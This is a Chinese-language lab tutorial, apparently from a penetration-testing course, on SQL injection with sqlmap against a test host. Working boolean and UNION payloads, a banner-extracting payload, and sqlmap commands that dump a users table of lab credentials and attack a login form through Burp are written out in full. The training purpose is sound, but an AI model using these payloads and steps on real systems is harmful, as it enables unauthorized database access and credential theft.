Sqlmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sqlmap --help
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
1
2
3
4
5
http://sqlmap.test
http://sqlmap.test/search.php?search=noexists' # 报错,该参数似乎易受攻击
http://sqlmap.test/search.php?search=notexists' or 1=1; -- - # 永真,输出中有所有已经发布的博客
http://sqlmap.test/search.php?search=notexists' or 1=2; -- - # 永假,没有返回数据
这说明search包含布尔注入。
让我们尝试联合注入:
我们得到报错,这是因为原始查询和我们注入的查询的列数不同。
1
2
3
http://sqlmap.test/search.php?search=notexists' UNION SELECT 'els1'; -- -
http://sqlmap.test/search.php?search=notexists' UNION SELECT 'els1','els2'; -- -
http://sqlmap.test/search.php?search=notexists' UNION SELECT 'els1','els2','els3'; -- -
应用程序没有触发任何的错误,我们可以说该查询包含4个字段,并且els2,els2显示在页面中。此外,我们知道search有联合注入,比利用布尔注入更加高效。
1
http://sqlmap.test/search.php?search=notexists' UNION SELECT 'els1','els2','els3','els3'; -- -
告诉工具使用-p
测试search参数。
告诉sqlmap使用那种注入技术,大多数时候,sqlmap自己设置好技术,但是这意味着执行有噪音且容易被发现的攻击面。除此之外,一些Web应用程序会崩溃,或者无响应。所以对每一个利用场景,配置sqlmap使用最好的技术。--technique=U
,使用联合注入。
1
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U
sqlmap自动检测后端数据库,点击回车,只执行针对mysql的测试。我们也可以通过再次点击回车,让工具执行所有对mysql的测试。
在执行测试后,sqlmap确定search有联合注入。所以我们可以在这里开始测试。
为了验证我们可以获取后端数据库的banner,--banner
。
1
2
3
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U --banner
banner: '5.5.41.0-0+wheezy1'
这次,我们想知道sqlmap使用了哪些payloads,所以我们在命令行中使用-v3
。
--fresh-queries
:删除缓存。
这是sqlmap用来提取数据库banner的payload。
1
2
3
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U --banner -v3 --fresh-queries
[PAYLOAD] n' UNION ALL SELECT NULL, NULL, CONCAT(0x71746c6171, IFNULL(CAST(VERSION() AS CHAR), 0x20), 0x7172657671), NULL#
你可以手动测试它,通过将它复制粘贴到search参数的地址栏中。将#
替换成URL编码后的版本。我们可以在输出页面看到结果。
1
http://sqlmap.test/search.php?search=n' UNION ALL SELECT NULL, NULL, CONCAT(0x71746c6171, IFNULL(CAST(VERSION() AS CHAR), 0x20), 0x7172657671), NULL%23
我们可以枚举Web应用程序包含的数据库用户,通过使用--users
命令。这里只有一个用户:
1
2
3
4
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U --users
database management system users [1]:
[*] 'blog'@'%'
检查哪个数据库连接到应用程序,通过使用:--dbs
。
1
2
3
4
5
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U --dbs
available databases [2]:
[*] blogdb
[*] information_schema
枚举blogdb数据库中的表。这将列出表。
1
2
3
4
5
6
7
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U -D blogdb --tables
Database: blogdb
[3 tables]
article
comments
users
列出users表中的列:
1
2
3
4
5
6
7
8
9
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U -D blogdb -T users --columns
Database: blogdb
Table: users
[3 columns]
Column Type
id int(11)
password text
username text
获取username、password列中的数据:
1
2
3
4
5
6
7
8
9
sqlmap -u 'http://sqlmap.test/search.php?search=n' -p search --technique=U -D blogdb -T users -C username,password --dump
Database: blogdb
Table: users
[3 entries]
username password
admin test1234
john jordan23
pts _h4Rd2-GU3sS!
我们尝试以admin的身份登录,凭证正确。
我们首先用sqlmap发现想要dump的数据,然后dump下来。直接使用SQL注入dump数据不仅有很大噪音,对客户的基础设施来说处理起来也太沉重,尤其是在大型数据库中。
GET参数并不是仅有的执行SQL注入的方式。每个用户输入都必须在参与期间被测试,比如说,我们可以测试登录表单。登录表单使用HTTP POST方法,所以我们需要使用代理拦截数据并且测试它。
Firefox浏览器:
1
2
3
4
Preferences->Advanced->Network->Settings->Manual proxy configuration:
HTTP Proxy: 127.0.0.1 Port: 8080
check use this proxy server for all protocols
尝试用随机凭证登录,Burp拦截了请求,简单的放行它,验证该凭证无效。
再次拦截,右键->Send to Repeater
。进入Repeater标签,Web应用程序将我们重定向回login.php页面。
1
2
3
4
5
6
POST /login.php HTTP/1.1
user=a&pass=a
HTTP/1.1 302 Found
Location: login.php
尝试在POST参数user进行注入,user似乎易受攻击。
1
2
3
4
5
6
7
8
POST /login.php HTTP/1.1
user=a'&pass=a
HTTP/1.1 302 Found
Location: login.php
Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in /var/www/login.php on line 17
看看pass是否也是这样。注入pass参数没有让应用程序报错,它表现正常。pass似乎没有SQL注入。
1
2
3
4
5
6
POST /login.php HTTP/1.1
user=a&pass=a'
HTTP/1.1 302 Found
Location: login.php
更详细地尝试user参数,输出中多了三个HTTP头部字段。
1
2
3
4
5
6
7
8
POST /login.php HTTP/1.1
user=a' or 1=1; -- -&pass=a
HTTP/1.1 302 Found
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
参数使用错误的payload,输出有所不同。
1
2
3
4
5
6
POST /login.php HTTP/1.1
user=a' or 1=2; -- -&pass=a
HTTP/1.1 302 Found
Location: login.php
使用返回<
和下一个>
按钮来验证这一点。
尝试其他永真条件:
1
2
3
4
5
6
7
8
POST /login.php HTTP/1.1
user=a' or 'elsrocks'='elsrocks'; -- -&pass=a
HTTP/1.1 302 Found
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
和其他永假条件:
1
2
3
4
5
6
POST /login.php HTTP/1.1
user=a' or 'elsrocks'='no'; -- -&pass=a
HTTP/1.1 302 Found
Location: login.php
user确实是一个有效的注入点,所以我们可以用sqlmap利用这个漏洞:
1
sqlmap -u http://sqlmap.test/login.php --data='user=a&pass=a' -p user --technique=B --banner
在login.php执行POST请求,发送user=a&pass=a
作为请求体,它尝试在user参数中注入SQL命令,使用布尔注入技术,获取数据库banner。
不要跟随重定向:
1
sqlmap got a 302 redirect to 'http://sqlmap.test/login.php'. Do you want to follow? [Y/n] n
跳过测试其他数据库管理系统。
sqlmap发现user易受攻击。我们想要确认login页面使用数据库和search功能使用的数据库相同。使用--dbs
命令枚举数据库。
1
2
3
4
5
sqlmap -u http://sqlmap.test/login.php --data='user=a&pass=a' -p user --technique=B --dbs
available databases [2]:
[*] blogdb
[*] information_schema
1
2
3
4
5
6
7
sqlmap -u http://sqlmap.test/login.php --data='user=a&pass=a' -p user --technique=B -D blogdb --tables
Database: blogdb
[3 tables]
article
comments
users
数据库相同,所以将不会处理更多重复的事。
URLs,GET消息,POST消息和头部字段,在命令行中书写太长了。
所以我们可以直接导出Burp Proxy拦截的请求,保存到文件中,在sqlmap中使用。
为了做到这一点,在Burp中,Proxy
->右键Copy to file
。将文件保存到root家目录,命名为bloglogin.req。返回终端,可以使用保存的请求:
sqlmap会执行和之前相同的请求,而不需要很长的命令行。
1
sqlmap -r /root/bloglogin.req -p user --technique=B --banner
你是否注意到,命令执行的特别快。-v3
:详细地检查做了什么。
1
sqlmap -r /root/bloglogin.req -p user --technique=B --banner -v3
在DEBUG INFO中,执行了0个查询,因为banner是我们已经有的信息。
1
[DEBUG] performed 0 queries in 0.00 seconds
事实上,sqlmap存储目标的信息。
1
2
3
ls /usr/share/sqlmap/output/sqlmap.test/
dump log session.sqlite target.txt
如果你需要重新运行测试,或者只是重新开始,可以刷新session:--flush-session
。这一次,sqlmap执行了100多次请求来获取banner。
1
2
3
sqlmap -r /root/bloglogin.req -p user --technique=B --banner -v3 --flush-session
[DEBUG] performed 119 queries in 1.26 seconds